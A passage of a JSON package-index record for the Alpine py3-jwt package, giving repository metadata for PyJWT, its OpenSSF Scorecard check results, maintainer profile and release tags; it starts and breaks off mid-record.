207741,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_number":"1.7.1-r3","last_synced_at":"2026-04-15T02:02:31.020Z","created_at":"2023-02-01T02:38:18.623Z","updated_at":"2026-05-29T04:00:33.371Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.13/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40